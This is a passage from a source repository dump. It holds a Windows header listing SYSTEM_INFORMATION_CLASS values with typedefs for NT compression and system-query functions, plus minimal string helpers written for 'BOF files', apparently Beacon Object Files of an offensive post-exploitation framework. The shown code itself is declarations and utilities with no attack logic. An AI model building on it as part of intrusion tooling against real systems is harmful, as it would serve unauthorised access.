SystemFileCacheInformationEx = 81, 104 | SystemThreadPriorityClientIdInformation = 82, 105 | SystemProcessorIdleCycleTimeInformation = 83, 106 | SystemVerifierCancellationInformation = 84, 107 | SystemProcessorPowerInformationEx = 85, 108 | SystemRefTraceInformation = 86, 109 | SystemSpecialPoolInformation = 87, 110 | SystemProcessIdInformation = 88, 111 | SystemErrorPortInformation = 89, 112 | SystemBootEnvironmentInformation = 90, 113 | SystemHypervisorInformation = 91, 114 | SystemVerifierInformationEx = 92, 115 | SystemTimeZoneInformation = 93, 116 | SystemImageFileExecutionOptionsInformation = 94, 117 | SystemCoverageInformation = 95, 118 | SystemPrefetchPatchInformation = 96, 119 | SystemVerifierFaultsInformation = 97, 120 | SystemSystemPartitionInformation = 98, 121 | SystemSystemDiskInformation = 99, 122 | SystemProcessorPerformanceDistribution = 100, 123 | SystemNumaProximityNodeInformation = 101, 124 | SystemDynamicTimeZoneInformation = 102, 125 | SystemCodeIntegrityInformation = 103, 126 | SystemProcessorMicrocodeUpdateInformation = 104, 127 | SystemProcessorBrandString = 105, 128 | SystemVirtualAddressInformation = 106, 129 | SystemLogicalProcessorAndGroupInformation = 107, 130 | SystemProcessorCycleTimeInformation = 108, 131 | SystemStoreInformation = 109, 132 | SystemRegistryAppendString = 110, 133 | SystemAitSamplingValue = 111, 134 | SystemVhdBootInformation = 112, 135 | SystemCpuQuotaInformation = 113, 136 | SystemNativeBasicInformation = 114, 137 | SystemErrorPortTimeouts = 115, 138 | SystemLowPriorityIoInformation = 116, 139 | SystemBootEntropyInformation = 117, 140 | SystemVerifierCountersInformation = 118, 141 | SystemPagedPoolInformationEx = 119, 142 | SystemSystemPtesInformationEx = 120, 143 | SystemNodeDistanceInformation = 121, 144 | SystemAcpiAuditInformation = 122, 145 | SystemBasicPerformanceInformation = 123, 146 | SystemQueryPerformanceCounterInformation = 124, 147 | SystemSessionBigPoolInformation = 125, 148 | SystemBootGraphicsInformation = 126, 149 | SystemScrubPhysicalMemoryInformation = 127, 150 | SystemBadPageInformation = 128, 151 | SystemProcessorProfileControlArea = 129, 152 | SystemCombinePhysicalMemoryInformation = 130, 153 | SystemEntropyInterruptTimingInformation = 131, 154 | SystemConsoleInformation = 132, 155 | SystemPlatformBinaryInformation = 133, 156 | SystemPolicyInformation = 134, 157 | SystemHypervisorProcessorCountInformation = 135, 158 | SystemDeviceDataInformation = 136, 159 | SystemDeviceDataEnumerationInformation = 137, 160 | SystemMemoryTopologyInformation = 138, 161 | SystemMemoryChannelInformation = 139, 162 | SystemBootLogoInformation = 140, 163 | SystemProcessorPerformanceInformationEx = 141, 164 | SystemSpare0 = 142, 165 | SystemSecureBootPolicyInformation = 143, 166 | SystemPageFileInformationEx = 144, 167 | SystemSecureBootInformation = 145, 168 | SystemEntropyInterruptTimingRawInformation = 146, 169 | SystemPortableWorkspaceEfiLauncherInformation = 147, 170 | SystemFullProcessInformation = 148, 171 | SystemKernelDebuggerInformationEx = 149, 172 | SystemBootMetadataInformation = 150, 173 | SystemSoftRebootInformation = 151, 174 | SystemElamCertificateInformation = 152, 175 | SystemOfflineDumpConfigInformation = 153, 176 | SystemProcessorFeaturesInformation = 154, 177 | SystemRegistryReconciliationInformation = 155, 178 | SystemEdidInformation = 156, 179 | SystemManufacturingInformation = 157, 180 | SystemEnergyEstimationConfigInformation = 158, 181 | SystemHypervisorDetailInformation = 159, 182 | SystemProcessorCycleStatsInformation = 160, 183 | SystemVmGenerationCountInformation = 161, 184 | SystemTrustedPlatformModuleInformation = 162, 185 | SystemKernelDebuggerFlags = 163, 186 | SystemCodeIntegrityPolicyInformation = 164, 187 | SystemIsolatedUserModeInformation = 165, 188 | SystemHardwareSecurityTestInterfaceResultsInformation = 166, 189 | SystemSingleModuleInformation = 167, 190 | SystemAllowedCpuSetsInformation = 168, 191 | SystemDmaProtectionInformation = 169, 192 | SystemInterruptCpuSetsInformation = 170, 193 | SystemSecureBootPolicyFullInformation = 171, 194 | SystemCodeIntegrityPolicyFullInformation = 172, 195 | SystemAffinitizedInterruptProcessorInformation = 173, 196 | SystemRootSiloInformation = 174, 197 | SystemCpuSetInformation = 175, 198 | SystemCpuSetTagInformation = 176, 199 | SystemWin32WerStartCallout = 177, 200 | SystemSecureKernelProfileInformation = 178, 201 | SystemCodeIntegrityPlatformManifestInformation = 179, 202 | SystemInterruptSteeringInformation = 180, 203 | SystemSupportedProcessorArchitectures = 181, 204 | SystemMemoryUsageInformation = 182, 205 | SystemCodeIntegrityCertificateInformation = 183, 206 | SystemPhysicalMemoryInformation = 184, 207 | SystemControlFlowTransition = 185, 208 | SystemKernelDebuggingAllowed = 186, 209 | SystemActivityModerationExeState = 187, 210 | SystemActivityModerationUserSettings = 188, 211 | SystemCodeIntegrityPoliciesFullInformation = 189, 212 | SystemCodeIntegrityUnlockInformation = 190, 213 | SystemIntegrityQuotaInformation = 191, 214 | SystemFlushInformation = 192, 215 | SystemProcessorIdleMaskInformation = 193, 216 | SystemSecureDumpEncryptionInformation = 194, 217 | SystemWriteConstraintInformation = 195, 218 | SystemKernelVaShadowInformation = 196, 219 | SystemHypervisorSharedPageInformation = 197, 220 | SystemFirmwareBootPerformanceInformation = 198, 221 | SystemCodeIntegrityVerificationInformation = 199, 222 | SystemFirmwarePartitionInformation = 200, 223 | SystemSpeculationControlInformation = 201, 224 | SystemDmaGuardPolicyInformation = 202, 225 | SystemEnclaveLaunchControlInformation = 203, 226 | SystemWorkloadAllowedCpuSetsInformation = 204, 227 | SystemCodeIntegrityUnlockModeInformation = 205, 228 | SystemLeapSecondInformation = 206, 229 | SystemFlags2Information = 207, 230 | SystemSecurityModelInformation = 208, 231 | SystemCodeIntegritySyntheticCacheInformation = 209, 232 | MaxSystemInfoClass 233 | } SYSTEM_INFORMATION_CLASS, * PSYSTEM_INFORMATION_CLASS; 234 | 235 | #define STATUS_SUCCESS ((NTSTATUS)0x00000000L) // ntsubauth 236 | 237 | typedef NTSTATUS(WINAPI* fpRtlGetCompressionWorkSpaceSize)(USHORT, PULONG, PULONG); 238 | typedef NTSTATUS(WINAPI* fpRtlCompressBuffer)(USHORT, PUCHAR, ULONG, PUCHAR, ULONG, ULONG, PULONG, PVOID); 239 | typedef NTSTATUS(WINAPI* fpNtQuerySystemInformation)(SYSTEM_INFORMATION_CLASS, PVOID, ULONG, PULONG); 240 | 241 | #endif 242 | -------------------------------------------------------------------------------- /src/libc.c: -------------------------------------------------------------------------------- 1 | /* 2 | * *grumble* *grumble* BOF files don't have access to a libc. 3 | * So, these are quick implementations of some stuff we need. 4 | */ 5 | 6 | void mycopy(char * dst, const char * src, int size) { 7 | int x; 8 | for (x = 0; x < size; x++) { 9 | *dst = *src; 10 | dst++; 11 | src++; 12 | } 13 | } 14 | 15 | char mylc(char a) { 16 | if (a >= 'A' && a <= 'Z') { 17 | return a + 32; 18 | } 19 | else { 20 | return a; 21 | } 22 | } 23 | 24 | BOOL mycmpi(char * a, char * b) { 25 | while (*a != 0 && *b != 0) { 26 | if (mylc(*a) != mylc(*b)) 27 | return FALSE; 28 | a++; 29 | b++; 30 | } 31 | 32 | return TRUE; 33 | } 34 | 35 | --------------------------------------------------------------------------------